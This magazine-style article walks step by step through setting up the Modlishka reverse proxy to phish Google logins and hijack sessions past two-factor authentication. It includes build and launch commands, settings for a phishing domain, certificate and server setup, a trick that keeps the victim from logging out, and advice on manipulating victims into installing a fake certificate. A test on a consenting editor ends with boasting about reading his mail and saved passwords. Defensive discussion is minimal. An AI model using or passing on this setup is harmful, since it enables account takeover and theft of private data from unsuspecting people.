FUCK 2FA! Bypassing two-factor authentication with Modlishka

Underground forums are full of offers to hack an account or two (or sell you the login credentials of some ten million accounts if you like). In most cases, such attacks involve phishing (sorry, social engineering) and use fake authentication pages. However, this method is ineffective if the user gets pushed a prompt or receives a text message with a six-digit verification code. I am going to demonstrate how to breach the two-factor authentication system by hacking a Google account belonging to one of this magazine’s humble editors.

What is Two-Factor Authentication?

In the days of old, everyone used HTTP and nobody complained about security. The good old days of easily intercepting all the traffic containing the user’s credentials. Alas, they started encrypting traffic en masse, and hackers started inventing more sophisticated spoofing and rerouting techniques. At some point, it seemed that the two-factor authentication has solved the problem once and forever – but the devil is in the implementation details.

Two-Factor Authentication, or 2FA, was invented as an additional way to authenticate the account owner. It adds “something that you have” (a trusted device or SIM card, or even just a list of codes printed on a sheet of paper) to “something that you know” (the password):

Two-factor authentication can be based on one or more authentication techniques:

• The user knows something (e.g. may provide their mother’s maiden name or name of the name of their first pet);
• The user has a unique physical characteristics that can be digitized (biometric authentication); or
• The user has something with a unique identifier (e.g. a phone number, a USB stick with a digital key, a list of codes printed on a sheet of paper etc.).

The first technique is still used for recovering passwords via security questions. It is not suitable for regular use because the answers remain the same and can be easily compromised. The second one is frequently used for data protection on mobile devices. It is also used for authorizing client applications on servers.

The most commonly used 2FA technique is the third one. In the days of old, they used lists of one-time passwords printed on a sheet of paper. A few years later, one-time passwords would be delivered in a text message. While text messages are no longer considered. a secure 2FA method, they are still used today. However, a push delivery of an authentication prompt to a trusted device (Apple, Google, many European banks) or time-limited one-time passwords generated by an authentication app are now the most common delivery methods. The user receives a different code every time, and those codes are virtually impossible to guess.

While two-factor authentication offers an extra layer of security to many users, it is a challenge to the curious mind. The more difficult is to breach the defense using technical means, the easier it becomes through the social engineering path. Some users are overly confident in 2FA that they use daily for signing in to their Google and Apple services, online banking and the many apps.

Australian researcher Shubham Shah demonstrated the possibility to bypass two-factor authentication. However, his method was way too complicated from the technical perspective. It involved phone authentication, not just an SMS; and the hacker had to know the victim’s phone number and certain account details. That proof of concept (PoC) was not really impressive, but it defined the attack vector.

Modlishka

In early 2019, Polish researcher Piotr Duszyński has released Modlishka, a flexible HTTP reverse proxy. According to the developer, this tool can be used to bypass two-factor authentication, and we are going to verify this claim.

The difference between Modlishka and SEToolkit (which is embedded into all popular penetration testing distributions) is as follows. SET clones the authorization page and hosts it on a local server. Its mechanism is based on a set of scripts harvesting logon credentials entered by the victim. Of course, it is possible to redirect the user to the original site, but the traffic between the user and your server would be unencrypted. Tools like this act as Web servers hosting a fake (phishing) website.

Modlishka works differently. A certificate is generated to encrypt the connection between the victim and the attacker’s server (to avoid being exposed), and then the attacker’s PC takes on the role of a reverse proxy.

In other words, the whole traffic flows to the original site, but it passes through and is recorded on the attacker’s Modlishka server. The hacker collects the credentials and hijacks the victim’s authenticated session. This is a classic man-in-the-middle (MITM) attack preceded by phishing (you have to trick the victim into installing the fake certificate and direct her to the fake site).

Launching the server

First, we’ll set up and launch a Modlishka server on a local machine. I am going to do this using Kali Linux, but there are no principal differences to other distributions, except for subtle changes in the path to the Go source code.

First, we have to install Go: the reverse proxy is written in this programming language, and it won’t compile without Go.

$ apt-get install golang

Then we set the path to the source directory:

$ export GOPATH='/root/go'

To check the environment variables, type the following command:

$ go env

The command output must display the GOPATH variable.

Then we clone the branch with the reverse proxy tool.

$ go get -u github.com/drk1wi/Modlishka
$ cd /root/go/src/github.com/drk1wi/Modlishka/

Create an SSL certificate:

$ openssl genrsa -out secret.key 2048
$ openssl req -x509 -new -nodes -key secret.key -sha256 -days 1024 -out cert.pem

Now you must export the key and certificate contents in plugin/autocert.go and change values of the following two variables:

• const CA_CERT – replace the variable with the content of the MyRootCA.pem file (copy and paste); and
• const CA_CERT_KEY – replace the variable with the content of the MyRootCA.key file (copy and paste).

Compile the file:

$ make

The compilation takes three to ten minutes depending on the computing capacity.

The executable file is located in the dist/ folder under the name proxy. To check the available options, use the -h key (Help).

$ ./dist/proxy -h

Harvesting the victim’s credentials and hijacking a session

In order to create an encoded channel to the reverse proxy without alerting the victim, one must install the newly created certificate into the victim’s browser first. The further steps are explained using Mozilla Firefox x64 v. 67.0 as an example.

Before we begin, let us review the contents of one more file in the templates folder: google.com_gsuite.json. A detailed description of each line can be found in the [online guide] (https://github.com/drk1wi/Modlishka/wiki/How-to-use) to this config.

There are two ways to launch Modlishka: manually or using a config file. The minimum command for manual launch is as follows:

$ ./dist/proxy -target https://google.com -phishingDomain loopback.modlishka.io -listeningPort 443 -tls

To load the default config file, use the following command:

$ ./dist/proxy -config /templates/google.com_gsuite.json

Launch the server using the config file and paste the following URL in our browser: loopback.modlishka.io. The URL field in the browser displays google.com. If you now sign in to your Google account, you will see your credentials appearing on the display.

If you open the loopback.modlishka.io/SayHello2Modlishka URL, you will gain access to the console controlling the hijacked session (currently, this is a beta function). So far, we have intercepted the victim’s login and password without any encryption errors and via a ‘secure’ connection. As far as I know, no other tools can do this.

But how do you bypass the two-factor authentication? There is a blank field in the console: UUID (universally unique identifier), and this is the key to success.

If you click on the “Impersonate user (beta)” button, an empty tab is opened and the Modlishka console reports that there is no user’s UID. It has to be set, and this must be done in the very beginning by specifying the link to the malicious URL. Let us go back to the config file.

You want the following line: "trackingParam": "ident". The ident value must be set to make the URL look as follows:

https://loopback.modlishka.io/?ident=1

The victim has to be redirected to this URL or its obfuscated version.

After following this link and authorizing on the sign-in page, you can see the control console (loopback.modlishka.io/SayHello2Modlishka) provides access to a session with the filled-out UUID field. We’ll see how it works a bit later using a real-life example.

This time, after pressing the large yellow button, you can watch a nice blue animation and get into the authorized session of the victim in 5-10 seconds despite all the 2FA obstacles. The unsuspecting user receives and enters the verification code. The victim can see the encrypted connection and the real Google sign-in page, but cannot see the Modlishka reverse proxy located between her PC and the Google server.

By this point, we have already examined the majority of the config file parameters, but there is one more to be dealt with. Now that the victim has entered her login and password, it is a good idea to block the victim’s ability to log out and save the authorized session. The terminateTriggers parameter makes this possible. In this line, enter the URL accessed by the user after successful authorization; as a result, after the appearance of this address, the entire traffic is redirected to the original URL, while the authorized session continues running even after the logout.

Ready-to-use system behind the NAT

It was not that difficult to make attacks inside one PC or a LAN. However, I encountered some problems while preparing a ‘combat’ machine on WWW as a PoC. It needs either the redirection to a legitimate (i.e. external) IP address or a dedicated server with such an address. A server can be rented for less than $50 per month. I used this site for testing purposes.

The first problem is the domain name. If you tried opening loopback.modlishka.io from the victim’s computer, nothing would happen because external Domain Name Servers are not under your control and are not aware of this address. If you redirect the victim to the IP address of the computer running Modlishka, the redirect brings the victim directly to Google’s page, bypassing the proxy server. The console shows us two lines:

If the victim uses the same LAN, we may set the IP – URL match in the local DNS or in its hosts file. In my case, it was as follows:

192.168.1.15 loopback.modlishka.io

Initially, I registered a free third-level domain on the Internet hoping that this would be sufficient. It wasn’t. After the redirection, I’ve got the “site not available” error. After entering the IP address through HTTPS, I was redirected to Google, while the Apache welcome page was opening in HTTP.

Of course, the devil is in the detail. The “www” prefix might be automatically added when you follow a Web URL, while the program waits for the precise domain address. Adding “www” to the config did not help, and I had no choice but to acquire the entire pool of subdomains. In other words, if the domain looks like loopback.modlishka.io, you should own необходимо *.loopback.modlishka.io.

The next issue is about the certificates. You have to make a certificate and a key for the registered domain. Ideally, the SSL certificate should be signed by a trusted certification authority, but for testing purposes a self-signed one would suffice as well.

So we’ll use an online certificate generator to create and download two files. Their contents should be inserted to "cert": "" and "certKey": "". fields in the Modlishka config file. Important: the certificate and the key must be specified in one line, using \n for new lines as usual.

Overall, it should look like this:

"cert": "-----BEGIN CERTIFICATE-----\nMIIDJTCCAg2gAwIBAgIESjdT0DANBgkqhkiG9w0BAQsFADApMScwJQYDVQQDDB5SZWdlcnkgU2Vs\n...".

In addition, we have to change two more parameters in the config file:

• "phishingDomain": "loopback.modlishka.io" – put your domain there instead of loopback.modlishka.io;
• "listeningAddress": "127.0.0.1" – should be replaced with 0.0.0.0, otherwise only the lo interface is listening, and the system works within the local machine only.

Every time we launch Modlishka for specific domain names. Therefore, the best way is to register a domain name first, then obtain a certificate, and then set up the technical components. If you do it like this, it is possible to import the certificate contents into autocert.go so that you don’t have to paste the key and certificate into the config file.

Hacking the hacker

I tested the system together with Hacker editor Andrei Vasilkov who played the role of an extremely naive victim. Although the address of my domain has nothing to do with google.com, we decided to skip the obfuscation: there are plenty of articles addressing this topic in detail.

The results of our joint experiment are presented on the screenshots below. Andrei was in a different city and could do nothing to me used a different provider. He visited my phishing site using Mozilla Firefox (Desktop) v. 67.0.

First, Andrei downloaded the fake certificate to my domain (its name resembled a bank’s domain) and installed it in his browser. In real life, phishers can trick a person into making such a reckless step under the disguise of security requirements (yeah, right!), a promotional offer, etc. There are thousands of ways to capitalize on the victim’s greed or fear.

The address line shows a complete mess, but who is going to look at it? Mobile browsers even hide it to keep more screen real estate. The green “lock” icon indicating a ‘secure’ connection gives a false sense of safety, while the Google page shown on the screen is authentic.

The first stage has been passed successfully. Andrei entered his login and password, and Google sent him an SMS message with a one-time verification code.

In less than a minute, he has entered it in the verification field. Andrei signed in to his account… and so did I!

Now I can do whatever I want. I have full access to his mail, contacts, browsing history, travel history, lists of installed applications, and even his saved passwords! What a digital Klondike!

Most importantly, I managed to intercept an active session >>

Important: if the victim uses a smartphone to access her account, it will receive a push notification that somebody has logged into that account from a new device. From the user’s perspective, this looks like a glitch in the notification system; most won’t even notice and simply swipe it off.

Conclusions

The session in the Modlishka control panel is very persistent. It lasts until the victim (or the hacker) logs out from the account. In other words, if the victim just closes the browser, the session remains active. If the user visits google.com again, signs in and logs out, the hijacked session still remains alive. Even if you stop the Modlishka server and then relaunch it, the session continues. There is only one guaranteed method to de-authenticate the session: log out immediately when one is redirected to the proxy.

This article primarily addresses the technical aspects, but keep in mind that 2FA cannot be bypassed without social engineering. You have to conceal the phishing site and somehow install a phishing certificate on the victim’s computer. On the other hand, this may not be that difficult. Many people happily follow instructions starting with “turn off your antivirus and firewall”, so the requirement to install a certificate likely won’t scare unsuspecting victims.